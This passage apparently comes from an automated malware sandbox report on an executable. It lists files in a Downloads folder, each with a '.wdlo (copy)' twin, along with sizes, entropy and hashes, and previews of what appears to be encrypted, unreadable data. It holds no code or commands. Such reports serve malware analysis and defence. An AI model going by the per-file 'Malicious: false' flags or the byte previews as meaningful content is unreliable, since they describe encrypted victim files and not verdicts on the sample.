Preview:	KATAXU....1.gj.e.jjL..Q2giU[.2.6@.y..........H3..p..7......P.v....7.....\|....A.EkKi.h...........hn.....K......({....J~[,....9l.Q..l..].;...(r.xfN{M...0.#URD"U_....D.D.....$O.AC.Qo0../..`.`..f.....x....7........T..-.6@....B@.yD}i[.....5..DW........Hk..S.Q.{.......zz\...q.^J...V.`.6S..\C.........L.%.D.l......p....&.......e.@........7.......N..Hj......3..E.uh....d6<...y...6..^.sw9....p..9[....Z..V?.....S.t.)..........PW....d..[.9........#}.........Lx/.....:..k...<{.o\jr5.nN.u....W.....-.5...&.&v.....A..uY.%K.;.'....f..w.j7.....M..,IC.J...>..7Y7JKv..5..F.4..T>.q..;..(.{7....?p.O...0...<P..>..r......\..;.}?.wN..EV.I....0....M.....D..d.c'?....h.g.A.6T5.7[..d..3..o H..b...;8.BJ.~..}.s.)....1z.?p.N.~a...F..~.qf.........H(..w..U....\|.4..`(.2........V.......k...E./.e......J.h.x.......@..w...K/c%.^TU.&!.T.P~.....A.7....?...F(o.H....il..v.......Gz2....l6....Dmho.......r.E.\|..k....N"....xg.;z.\|s.31''..Z..+S...uH.#.A.O..sW,..xJ.7....".3..\.Y

C:\Users\user\Downloads\KATAXZVCPS.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.818843554758173
Encrypted:	false
SSDEEP:	24:/LWHbhFmgEpSGC6z6GOw8r8obuW/GppiKe7ym6c8pq7SDfSRA7o+3zbD:/LGNASqzBOw/oqEmeBcDfSRA0+3nD
MD5:	4D17EB36218ABD47253B94C2068FC160
SHA1:	BA8CB68F61A5BAC67B9E5960B3D833A2547EB955
SHA-256:	0F0A7E922BB6366812E35ED00564C851E6E449C155D6AC7D92B3405BB432CD80
SHA-512:	78BA5EAFE671F619EC9291C814D28B59A0E414CA2EA198754BB6CDD29014A5325645BD0B0203FE8FD3052622AEA57F7201BEE6394B8A5B989B51C39F11417D64
Malicious:	false
Preview:	KATAXU....1.gj.e.jjL..Q2giU[.2.6@.y..........H3..p..7......P.v....7.....\|....A.EkKi.h...........hn.....K......({....J~[,....9l.Q..l..].;...(r.xfN{M...0.#URD"U_....D.D.....$O.AC.Qo0../..`.`..f.....x....7........T..-.6@....B@.yD}i[.....5..DW........Hk..S.Q.{.......zz\...q.^J...V.`.6S..\C.........L.%.D.l......p....&.......e.@........7.......N..Hj......3..E.uh....d6<...y...6..^.sw9....p..9[....Z..V?.....S.t.)..........PW....d..[.9........#}.........Lx/.....:..k...<{.o\jr5.nN.u....W.....-.5...&.&v.....A..uY.%K.;.'....f..w.j7.....M..,IC.J...>..7Y7JKv..5..F.4..T>.q..;..(.{7....?p.O...0...<P..>..r......\..;.}?.wN..EV.I....0....M.....D..d.c'?....h.g.A.6T5.7[..d..3..o H..b...;8.BJ.~..}.s.)....1z.?p.N.~a...F..~.qf.........H(..w..U....\|.4..`(.2........V.......k...E./.e......J.h.x.......@..w...K/c%.^TU.&!.T.P~.....A.7....?...F(o.H....il..v.......Gz2....l6....Dmho.......r.E.\|..k....N"....xg.;z.\|s.31''..Z..+S...uH.#.A.O..sW,..xJ.7....".3..\.Y

C:\Users\user\Downloads\KZWFNRXYKI.png

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852316701921084
Encrypted:	false
SSDEEP:	24:GUTaqiOjFeltPi92p2BLvpaAHMU8ZVz4mXZNgeF+ZVLf/dMlM++b12hetsyJfWSV:TTki9xBLphMdJNnF8O1+bkYbfWC+A3nD
MD5:	3AE3C19C9388ECA5BE7F041DED77C030
SHA1:	22614D909EC293691CC05355972F8269BB152153
SHA-256:	2A781F586BBEAA05FB172683DDF96918AC2DA0FAAD0D718C99D6CCE20709CC81
SHA-512:	F0F03FDE25C538C330BD89A3AFE57EBA958DA4F5B5D35119B3CDB0B13106DE7CB2A9876DB3FD680141612C9586CAFD88D6453C7D31E4683DF792AAA5BCBB87AA
Malicious:	false
Preview:	KZWFN/.._.........A..~..jV..L..]+..`..+..C.E.uqL{J3.`RAE.a4v.....Y..W..[.T.j.H....S\C..;.o.....A..... ......(.l.T.z.\|...~..X_(.`...E...<Ral.".....h.Oy.....10.....Dh..UU..)e........Y.{._5.E..n....,wz.-X.3.&sQl#f..S[.G......j..+;..)u.a.x......m.}..D.......C\F....#.7i...Fz...Q.......o<.`...+.&.G...).....0C....=i......?[A..k).-..%.6.]BXBE..n.6.~<.dE..-..).....X{..B...:-........5...3W=...U......._..D.v..Q.....eh...L...W......Sz.Y>..H"..v..... ......J....d...D5\;x.....`....5.w....].Z(.ov?a.W?k.\.`.P......=.>..)Bq....:,"'..u..KI...V.f....<a.g....k9.5......s.......`"~..)3%w.k....v6...:.....[..i..n..Wb.P..........;%..K".0gcOH O...R..g.G$.[..Kd."?)C...Sl. .b....T.y'.._c..#.zq.j.x.R....E.@g6j\o......[\IkF..w..I#+...g..b.L.......$.}IH.2.a...A.E...w._D.....7..&.{..5Z.J.1..,.<.V.......9W&D......;....`....oq.?..3.[Y.P.....@.0,.=F.VK\|.....tN..]B.I.`8a... ...9.5.~..u4.j^0..}....T....[..P.....9.....[...l.S......\|..+)(..:z.....F../..b..4..V$...q.l.M...\|!

C:\Users\user\Downloads\KZWFNRXYKI.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852316701921084
Encrypted:	false
SSDEEP:	24:GUTaqiOjFeltPi92p2BLvpaAHMU8ZVz4mXZNgeF+ZVLf/dMlM++b12hetsyJfWSV:TTki9xBLphMdJNnF8O1+bkYbfWC+A3nD
MD5:	3AE3C19C9388ECA5BE7F041DED77C030
SHA1:	22614D909EC293691CC05355972F8269BB152153
SHA-256:	2A781F586BBEAA05FB172683DDF96918AC2DA0FAAD0D718C99D6CCE20709CC81
SHA-512:	F0F03FDE25C538C330BD89A3AFE57EBA958DA4F5B5D35119B3CDB0B13106DE7CB2A9876DB3FD680141612C9586CAFD88D6453C7D31E4683DF792AAA5BCBB87AA
Malicious:	false
Preview:	KZWFN/.._.........A..~..jV..L..]+..`..+..C.E.uqL{J3.`RAE.a4v.....Y..W..[.T.j.H....S\C..;.o.....A..... ......(.l.T.z.\|...~..X_(.`...E...<Ral.".....h.Oy.....10.....Dh..UU..)e........Y.{._5.E..n....,wz.-X.3.&sQl#f..S[.G......j..+;..)u.a.x......m.}..D.......C\F....#.7i...Fz...Q.......o<.`...+.&.G...).....0C....=i......?[A..k).-..%.6.]BXBE..n.6.~<.dE..-..).....X{..B...:-........5...3W=...U......._..D.v..Q.....eh...L...W......Sz.Y>..H"..v..... ......J....d...D5\;x.....`....5.w....].Z(.ov?a.W?k.\.`.P......=.>..)Bq....:,"'..u..KI...V.f....<a.g....k9.5......s.......`"~..)3%w.k....v6...:.....[..i..n..Wb.P..........;%..K".0gcOH O...R..g.G$.[..Kd."?)C...Sl. .b....T.y'.._c..#.zq.j.x.R....E.@g6j\o......[\IkF..w..I#+...g..b.L.......$.}IH.2.a...A.E...w._D.....7..&.{..5Z.J.1..,.<.V.......9W&D......;....`....oq.?..3.[Y.P.....@.0,.=F.VK\|.....tN..]B.I.`8a... ...9.5.~..u4.j^0..}....T....[..P.....9.....[...l.S......\|..+)(..:z.....F../..b..4..V$...q.l.M...\|!

C:\Users\user\Downloads\LTKMYBSEYZ.mp3

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8639813741993745
Encrypted:	false
SSDEEP:	24:jQNEAcCMngT+DVfAAfyieMFVmvVJtWsZ0yO0ndFkJ3zbD:KFcBDDVflyipVad0yNdFY3nD
MD5:	94550B6302FE7D2A0E8818BA50EB4FF9
SHA1:	53F84FD665F1E6075AFCBB70D014268D43F3CD84
SHA-256:	E51D68DA5C8E6FD3D78E6250C809FF9369F633FC5CA982646DBD3666077A067B
SHA-512:	79248A01D0A8D8F13E4EFBA43DF06F7EC6F90C0A6B8A3D902F0A1681BFBFA7062D6491BD64369A5B83EDB0D3B84CB2CEAFCE20B631F00B9EF5AA93282FB443DC
Malicious:	false
Preview:	LTKMY.tJ..\....c.........g.........XBp.J.u...B]..nMI...2....m..u7..2..9..g..g..U.t G.........I..g....n.,Y]..r.:C..Y.b.._.u..%nb>...K...c..SH.a...(Yd.;."1B.Z.Y<....A...h..8.M0L.v..k.9..bX.]...XI..S..o.T.....~..W-.4...-Q...K-..R........-i....;.T\<....x^.....+(..(.. ...`V..r.nF.....M6~8.......!.Ae;ks..'.........q......4...!..jN.).V...,3u....'...........}..+:L..W+.o.WJ.....p=...I..>...HR...d...4..~..wc......p.... ..P.u6z..W.js.....d8...~......x.B 73P@........{R'.d..[..xa.J.1.._..Lo9l..$hTm..1..@.x.D......\|{^.....\|...'m...1/.)..#...M.."Q..a..s9=..Q.........q[..a8...A..........<s.Na}...R...c..Q....a;h.....c@S+..3.u.m.R4...dHzhb.#.....P\|.j..`LI..q2..@9....p.Ok.~i.u..4.J.e.)..F'...).....R.0&.^e.$\........2.....z..;.$N..RM..c@.d.........>.Q.Bp......@..>Yy.\|..EYG..../3...U..V<.jG...T.O...n]..,gp..a\...b.3...:p..\|..:.(..D^..o.......*.n..C....P.....%.G.......t#.. .D....nj.. ..xzR...&.....t.".h...E.Y....3.+.N%.k0_.nH.3.....\.8..e.

C:\Users\user\Downloads\LTKMYBSEYZ.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8639813741993745
Encrypted:	false
SSDEEP:	24:jQNEAcCMngT+DVfAAfyieMFVmvVJtWsZ0yO0ndFkJ3zbD:KFcBDDVflyipVad0yNdFY3nD
MD5:	94550B6302FE7D2A0E8818BA50EB4FF9
SHA1:	53F84FD665F1E6075AFCBB70D014268D43F3CD84
SHA-256:	E51D68DA5C8E6FD3D78E6250C809FF9369F633FC5CA982646DBD3666077A067B
SHA-512:	79248A01D0A8D8F13E4EFBA43DF06F7EC6F90C0A6B8A3D902F0A1681BFBFA7062D6491BD64369A5B83EDB0D3B84CB2CEAFCE20B631F00B9EF5AA93282FB443DC
Malicious:	false
Preview:	LTKMY.tJ..\....c.........g.........XBp.J.u...B]..nMI...2....m..u7..2..9..g..g..U.t G.........I..g....n.,Y]..r.:C..Y.b.._.u..%nb>...K...c..SH.a...(Yd.;."1B.Z.Y<....A...h..8.M0L.v..k.9..bX.]...XI..S..o.T.....~..W-.4...-Q...K-..R........-i....;.T\<....x^.....+(..(.. ...`V..r.nF.....M6~8.......!.Ae;ks..'.........q......4...!..jN.).V...,3u....'...........}..+:L..W+.o.WJ.....p=...I..>...HR...d...4..~..wc......p.... ..P.u6z..W.js.....d8...~......x.B 73P@........{R'.d..[..xa.J.1.._..Lo9l..$hTm..1..@.x.D......\|{^.....\|...'m...1/.)..#...M.."Q..a..s9=..Q.........q[..a8...A..........<s.Na}...R...c..Q....a;h.....c@S+..3.u.m.R4...dHzhb.#.....P\|.j..`LI..q2..@9....p.Ok.~i.u..4.J.e.)..F'...).....R.0&.^e.$\........2.....z..;.$N..RM..c@.d.........>.Q.Bp......@..>Yy.\|..EYG..../3...U..V<.jG...T.O...n]..,gp..a\...b.3...:p..\|..:.(..D^..o.......*.n..C....P.....%.G.......t#.. .D....nj.. ..xzR...&.....t.".h...E.Y....3.+.N%.k0_.nH.3.....\.8..e.

C:\Users\user\Downloads\LTKMYBSEYZ.pdf

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837836631555291
Encrypted:	false
SSDEEP:	24:aLOTb3hnYGbTz4Wtwla1Rk93z3tjTqRDQLpLlCSImbDXbIVKsSn9MdcZLJwV2fjw:aK3SGMWh163tT7bK49MdaJ5fje3nD
MD5:	BC26B58F828D908A11739B8A92BFA653
SHA1:	6C416D2D284F6D301215374DFD94F9872A6AECC9
SHA-256:	4810CF5BB595B418E21728264DE15A2CDC3E883D54F862CAF7D396CB94A8E6CE
SHA-512:	B48ED256250EE9704409CD327AF1137E0B33B3BD43F28EA476578FCC1CAC07448A13E22FBCA05E979E293E2A4CD3D13F93A0383449AC2388973008DC60149FAE
Malicious:	false
Preview:	LTKMY?S..B..;..........sc.Z...,K)c7p.].'...Ja.\|..]...Fw...c..,.N...NyF.n_....j...32....F6...."la..\|7Q..][....OS.Y.A.s.2.......7l~Gkt[...W5mP.i.V.S...C..&5.....tN.3.L...uX..w...[.X=..;.1..I....\}u...V../<.{.=..:@(n....u...E....5D...M.j.....fJK.....\.x dW .1.s.%-.V.i.....dj6...@..S.........4.:x..}.V...Z.$.wrY~.......%q...V...C.r.\.TF./h#0........%Mc._...-..f....E.'..K.3..E.,.X{.(....g[....RWS".........[.c).[.,Z.....?.L@...F\l=.y.....}...NI..bt[.y.4UX.i.....bu..x.....:.T..C..N........i......Ab...u...:...C."&.rY.)....s....am...^;td...V.....$[.1+...TE...r..z..#.,.........>.:..f....{a.......y.BNv..ek.X.J.X.p@.,.y.#....O'..Y5...#J.LC...j=2s.t...\..(24.k.....MU..i..b0Uk..{..Mw..UN+...x[.R<+Z(,f&<.i.I..O%.w.jcvi.1..X+..V .Z...z....H..a....Is..sT#....r..#.........!..^.}g......:.'.9Nc.0li`...g..\|;.`.s4..J..zGYR.a. .......].4)j..`..3..ytN......(..').(..r.dIK.w.&X..)1..-0.9.4..<...p)/.[...\#.....2jlT....\Ml..\|...c.[0.!.i..]M.K.!XPi..H..Q<...b.8...Cn.w......Ws}.OF....

C:\Users\user\Downloads\LTKMYBSEYZ.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837836631555291
Encrypted:	false
SSDEEP:	24:aLOTb3hnYGbTz4Wtwla1Rk93z3tjTqRDQLpLlCSImbDXbIVKsSn9MdcZLJwV2fjw:aK3SGMWh163tT7bK49MdaJ5fje3nD
MD5:	BC26B58F828D908A11739B8A92BFA653
SHA1:	6C416D2D284F6D301215374DFD94F9872A6AECC9
SHA-256:	4810CF5BB595B418E21728264DE15A2CDC3E883D54F862CAF7D396CB94A8E6CE
SHA-512:	B48ED256250EE9704409CD327AF1137E0B33B3BD43F28EA476578FCC1CAC07448A13E22FBCA05E979E293E2A4CD3D13F93A0383449AC2388973008DC60149FAE
Malicious:	false
Preview:	LTKMY?S..B..;..........sc.Z...,K)c7p.].'...Ja.\|..]...Fw...c..,.N...NyF.n_....j...32....F6...."la..\|7Q..][....OS.Y.A.s.2.......7l~Gkt[...W5mP.i.V.S...C..&5.....tN.3.L...uX..w...[.X=..;.1..I....\}u...V../<.{.=..:@(n....u...E....5D...M.j.....fJK.....\.x dW .1.s.%-.V.i.....dj6...@..S.........4.:x..}.V...Z.$.wrY~.......%q...V...C.r.\.TF./h#0........%Mc._...-..f....E.'..K.3..E.,.X{.(....g[....RWS".........[.c).[.,Z.....?.L@...F\l=.y.....}...NI..bt[.y.4UX.i.....bu..x.....:.T..C..N........i......Ab...u...:...C."&.rY.)....s....am...^;td...V.....$[.1+...TE...r..z..#.,.........>.:..f....{a.......y.BNv..ek.X.J.X.p@.,.y.#....O'..Y5...#J.LC...j=2s.t...\..(24.k.....MU..i..b0Uk..{..Mw..UN+...x[.R<+Z(,f&<.i.I..O%.w.jcvi.1..X+..V .Z...z....H..a....Is..sT#....r..#.........!..^.}g......:.'.9Nc.0li`...g..\|;.`.s4..J..zGYR.a. .......].4)j..`..3..ytN......(..').(..r.dIK.w.&X..)1..-0.9.4..<...p)/.[...\#.....2jlT....\Ml..\|...c.[0.!.i..]M.K.!XPi..H..Q<...b.8...Cn.w......Ws}.OF....

C:\Users\user\Downloads\UMMBDNEQBN.docx

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.821625591042767
Encrypted:	false
SSDEEP:	24:r1Z1VcrbrMBnFSFCkDt5ns1B9a7ucQ64NvXNWwQFuBVt/gkiWyBiWa7Hf3zbD:rL1VabrMBnwB2BE7u0K7KuXd8DiWq/3D
MD5:	87684C07FCDDB2B158F34EBEC7E8AC1A
SHA1:	3136B41DB4BBADAB48DB8B202BC5F90F57CF346E
SHA-256:	FF02F2830AC728A1DCA8F183B21CCE8E20296F2220AB73958A51C381754877FE
SHA-512:	3B0A3480FD4CAA6E93E85AAFE1FD3730D1B0EE5F783AB9DC5EC6B275BCCF64D73EFDC2D58A2818C5679B1D6FADCCAA0BD4533B3A7DD7764E7B6BC4FD9BD07BD8
Malicious:	false
Preview:	UMMBD(_....ka.S.OL...k.:rT.Z....v.e.O.J....Z...b..^s.dr{B<.....w.....N......z...<.HvA.M.m...'.R.=#.fw....wZ....g.9.04..!...X]`.......C~.J..i......xx.y.)&};U.[....`......h...w.N.....}3.NK.."8.a.<..sS`.-Z..N.}.Z^.4.m........w.........D...c$g&bS..+.:~....)5...I.....%....3.......E:..\|.i....._...v6 k...J1s.7.Y2...*...\..jZ...%.8..d,.?..\|..y.`..D:Ed.>;FN~V).....Y:]iL._....fh-."#..N...&.....%h.:.M...U.... ...0....}b5..p..y.].<v.P.....m.f..Soz..........k...R.MOK..~...#.ms.i~.../.4...~.}~.4\.0v..>o.j..t.9.B...z...1S..<..s...Ly..D6..... ...di!+s,d...C...u......%p..%.#...:y.O<..\..N..g;./..y.N.Y.e.......e..T..Pc.d.=O...~-.z..ig?.?>...E,[...rt.Sj....$./..n#...(c.....a..S..]..A.G\)>..4....l....n..5..}V,@.~...y.....8aP..J.u....Y...)...xv..)..>F[......l....v....W.E.....4.@....D1/...J......9>..e.P..(4~d.e>.>%...#..E...Z..ZU..fk......"FA.8.r.vB3....h..nN..x....9.d..nJ\|.<.[@u@...qN...I.!..k...~......o.....<.O.Wb-R.NUgs.....Fn#..J..~.D _D.s.[L>L#S.T~

C:\Users\user\Downloads\UMMBDNEQBN.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.821625591042767
Encrypted:	false
SSDEEP:	24:r1Z1VcrbrMBnFSFCkDt5ns1B9a7ucQ64NvXNWwQFuBVt/gkiWyBiWa7Hf3zbD:rL1VabrMBnwB2BE7u0K7KuXd8DiWq/3D
MD5:	87684C07FCDDB2B158F34EBEC7E8AC1A
SHA1:	3136B41DB4BBADAB48DB8B202BC5F90F57CF346E
SHA-256:	FF02F2830AC728A1DCA8F183B21CCE8E20296F2220AB73958A51C381754877FE
SHA-512:	3B0A3480FD4CAA6E93E85AAFE1FD3730D1B0EE5F783AB9DC5EC6B275BCCF64D73EFDC2D58A2818C5679B1D6FADCCAA0BD4533B3A7DD7764E7B6BC4FD9BD07BD8
Malicious:	false
Preview:	UMMBD(_....ka.S.OL...k.:rT.Z....v.e.O.J....Z...b..^s.dr{B<.....w.....N......z...<.HvA.M.m...'.R.=#.fw....wZ....g.9.04..!...X]`.......C~.J..i......xx.y.)&};U.[....`......h...w.N.....}3.NK.."8.a.<..sS`.-Z..N.}.Z^.4.m........w.........D...c$g&bS..+.:~....)5...I.....%....3.......E:..\|.i....._...v6 k...J1s.7.Y2...*...\..jZ...%.8..d,.?..\|..y.`..D:Ed.>;FN~V).....Y:]iL._....fh-."#..N...&.....%h.:.M...U.... ...0....}b5..p..y.].<v.P.....m.f..Soz..........k...R.MOK..~...#.ms.i~.../.4...~.}~.4\.0v..>o.j..t.9.B...z...1S..<..s...Ly..D6..... ...di!+s,d...C...u......%p..%.#...:y.O<..\..N..g;./..y.N.Y.e.......e..T..Pc.d.=O...~-.z..ig?.?>...E,[...rt.Sj....$./..n#...(c.....a..S..]..A.G\)>..4....l....n..5..}V,@.~...y.....8aP..J.u....Y...)...xv..)..>F[......l....v....W.E.....4.@....D1/...J......9>..e.P..(4~d.e>.>%...#..E...Z..ZU..fk......"FA.8.r.vB3....h..nN..x....9.d..nJ\|.<.[@u@...qN...I.!..k...~......o.....<.O.Wb-R.NUgs.....Fn#..J..~.D _D.s.[L>L#S.T~

C:\Users\user\Downloads\UMMBDNEQBN.xlsx

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850278538953395
Encrypted:	false
SSDEEP:	24:SwmKcQY6gCVZpJiVj38q5/JqPnNPQjpFaXb4Jj6Smg4jbWrmUyDT3zbD:S8cQZgeiVj3BBqPQpF/k1g8WKU0T3nD
MD5:	CAA3DDE1B7B06D9D2CD3B9C389992A88
SHA1:	42B0E34B39DA624813D21E3B553FFEB4ABD45217
SHA-256:	F4B8A69D3D3BD9A00B63DEBCCE70E33AE1570B9E354095028F120B6EE9743430
SHA-512:	0113A4222376EFBC47D4A7D7149858CD02ADD312FF48BE1AA62118A98CE1BB82D44DA242B9D248B38800A41BCBAAA7BA84A6CAADC07B63073EE2DF3E29A40F27
Malicious:	false
Preview:	UMMBD..pN.9...j.....F......Go..A..(/q+...p.o._u..w.....8..L.\|r...P.W.}...pTR..\..........+.cZ...G@.........%S.[.)<.....$~.R.3..X..)1 .Dg..).......\|.0\.....%S...&.%o.9..nd+5xX....}.>]......%..[y{"..S.......-.......U......?gJ...}Q.....4;Y...[.........2..2.=;.Y....h..4Ok_../%z.=.........J.l.%...fJ_...c...^9V;.\.7.M....w..Zr.!}y".....S.\.)^...~r.,pI..xAr...h.'dUF..pR.....S.._.-._.C.-.;.g.2@/)e-..........B..A.t.c<....ka.<..I.Z.....b.....N-....W.US.N.k..{L..W4.r._q.QU.C.~.....c)..N.......m......9_.b8..t.0f..`.+$P....L@.....E.....+.z.4.O.%7d!.A...N.0U5....J...cN.t.N8y.v.....l...a.FZ$I......'n.t`......6...oD..s....s1....\|...ca.W....~Xp.8..x.SK.9..B..B...........qu.pX...V.Lz3J.4...'...\|6W..fWn.7.5...yS..(.`....7.%..u...._V.<.........W.~n.7...).(.R.....at<1\|.......4...=.[+rW.6x.....J..B..{j;.&.i..O.....^.N..?x.\x_..........#S.d...7.i{..0A8..e.6h.ME.G...."(.G..B....6.ki....'..$..H......u...f.xN..;.D`..L..T....YY.lV..`....1..../...9woYo..

C:\Users\user\Downloads\UMMBDNEQBN.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850278538953395
Encrypted:	false
SSDEEP:	24:SwmKcQY6gCVZpJiVj38q5/JqPnNPQjpFaXb4Jj6Smg4jbWrmUyDT3zbD:S8cQZgeiVj3BBqPQpF/k1g8WKU0T3nD
MD5:	CAA3DDE1B7B06D9D2CD3B9C389992A88
SHA1:	42B0E34B39DA624813D21E3B553FFEB4ABD45217
SHA-256:	F4B8A69D3D3BD9A00B63DEBCCE70E33AE1570B9E354095028F120B6EE9743430
SHA-512:	0113A4222376EFBC47D4A7D7149858CD02ADD312FF48BE1AA62118A98CE1BB82D44DA242B9D248B38800A41BCBAAA7BA84A6CAADC07B63073EE2DF3E29A40F27
Malicious:	false
Preview:	UMMBD..pN.9...j.....F......Go..A..(/q+...p.o._u..w.....8..L.\|r...P.W.}...pTR..\..........+.cZ...G@.........%S.[.)<.....$~.R.3..X..)1 .Dg..).......\|.0\.....%S...&.%o.9..nd+5xX....}.>]......%..[y{"..S.......-.......U......?gJ...}Q.....4;Y...[.........2..2.=;.Y....h..4Ok_../%z.=.........J.l.%...fJ_...c...^9V;.\.7.M....w..Zr.!}y".....S.\.)^...~r.,pI..xAr...h.'dUF..pR.....S.._.-._.C.-.;.g.2@/)e-..........B..A.t.c<....ka.<..I.Z.....b.....N-....W.US.N.k..{L..W4.r._q.QU.C.~.....c)..N.......m......9_.b8..t.0f..`.+$P....L@.....E.....+.z.4.O.%7d!.A...N.0U5....J...cN.t.N8y.v.....l...a.FZ$I......'n.t`......6...oD..s....s1....\|...ca.W....~Xp.8..x.SK.9..B..B...........qu.pX...V.Lz3J.4...'...\|6W..fWn.7.5...yS..(.`....7.%..u...._V.<.........W.~n.7...).(.R.....at<1\|.......4...=.[+rW.6x.....J..B..{j;.&.i..O.....^.N..?x.\x_..........#S.d...7.i{..0A8..e.6h.ME.G...."(.G..B....6.ki....'..$..H......u...f.xN..;.D`..L..T....YY.lV..`....1..../...9woYo..

C:\Users\user\Downloads\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8728114238164455
Encrypted:	false
SSDEEP:	24:bjPGv97N9kTDYv9Ax1049MBGg/2hs1zhbH714QDdqOXdHccnQlb8oTXD3zbD:XiX9kc9aX9M2+1dB4QpqKNccEb3XD3nD
MD5:	EB94AFA24EB1B86D2B43EAB8B9EEC03C
SHA1:	3FF138EAD06EA077C05FCED730A2095D51C0F197
SHA-256:	040A4C3BB58C3BFAE6EE9B3CA1E33FCDF52A9FEC9BA55FF0F5362F7486869A5A
SHA-512:	CCA2D0CD3FF0BCD5A77AB4655A11A549F779898786CCDCA1988305B8C8644BC1F1D9469BF29062958FB69E6EB31D7A0500F17B7FFE5580BF4D0B7B048B91CDBD
Malicious:	false
Preview:	VLZDG...x.....[.M.<.$..U...t..$.0F1.4..z.?a#.......\|3.....L.Nb.....J.`.!.-.....R.z...b.]q.&..5.._._..;.f.\|...4CL.w...i...P%...\..z...]%E.V.8...UXG..h."........\g...XY..........W.x..........#...=.\|.?Sh......O.w!>+..j.J 6Tt..39....\...._.......g...#.....E....c .;H.Y.%..D...Y...B.....c.......5......l.bel.ko.O.m..a...,`q.9g$...>f:.QXrbr...y.Cn.k.3.../i;..!.Z..m4..G..C...3Ya..}.f.g<....KvD..;.u.W.NAF..)$.N..V....,.)..9.0k.`..j'..n.......].6......e..V.H...1......@W..i..W.~..^T.X.5e../....X....2G....e......L.3:._q<0g.j..c..w..}..k..?u{0.7.P..o!.........?{..%..b..H.ZT...x.w}......_F.......x.A..j5Ui{.A...83...6.E....u..)./....'s.H...(z4X..w[.\s..k.....#v.-.q...].E(\|uQ .;}p.W...EX.]..9I...........U.0n..3..Z4Y.w(:.4...~..5:.a.vL...I_6....(~...bR~w....qxs..A\.O).`.j..Qf......d.....,.Q8..".o6._.O..v..W...>4.c'.......G2.\..J3.......f.>..`.+. .f..(.........2R1......[..3.uh..3.I.....(Y..j...,#..u.~iX.!.8....&.A.s..].k,k..Kt\....m.mb..u

C:\Users\user\Downloads\VLZDGUKUTZ.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8728114238164455
Encrypted:	false
SSDEEP:	24:bjPGv97N9kTDYv9Ax1049MBGg/2hs1zhbH714QDdqOXdHccnQlb8oTXD3zbD:XiX9kc9aX9M2+1dB4QpqKNccEb3XD3nD
MD5:	EB94AFA24EB1B86D2B43EAB8B9EEC03C
SHA1:	3FF138EAD06EA077C05FCED730A2095D51C0F197
SHA-256:	040A4C3BB58C3BFAE6EE9B3CA1E33FCDF52A9FEC9BA55FF0F5362F7486869A5A
SHA-512:	CCA2D0CD3FF0BCD5A77AB4655A11A549F779898786CCDCA1988305B8C8644BC1F1D9469BF29062958FB69E6EB31D7A0500F17B7FFE5580BF4D0B7B048B91CDBD
Malicious:	false
Preview:	VLZDG...x.....[.M.<.$..U...t..$.0F1.4..z.?a#.......\|3.....L.Nb.....J.`.!.-.....R.z...b.]q.&..5.._._..;.f.\|...4CL.w...i...P%...\..z...]%E.V.8...UXG..h."........\g...XY..........W.x..........#...=.\|.?Sh......O.w!>+..j.J 6Tt..39....\...._.......g...#.....E....c .;H.Y.%..D...Y...B.....c.......5......l.bel.ko.O.m..a...,`q.9g$...>f:.QXrbr...y.Cn.k.3.../i;..!.Z..m4..G..C...3Ya..}.f.g<....KvD..;.u.W.NAF..)$.N..V....,.)..9.0k.`..j'..n.......].6......e..V.H...1......@W..i..W.~..^T.X.5e../....X....2G....e......L.3:._q<0g.j..c..w..}..k..?u{0.7.P..o!.........?{..%..b..H.ZT...x.w}......_F.......x.A..j5Ui{.A...83...6.E....u..)./....'s.H...(z4X..w[.\s..k.....#v.-.q...].E(\|uQ .;}p.W...EX.]..9I...........U.0n..3..Z4Y.w(:.4...~..5:.a.vL...I_6....(~...bR~w....qxs..A\.O).`.j..Qf......d.....,.Q8..".o6._.O..v..W...>4.c'.......G2.\..J3.......f.>..`.+. 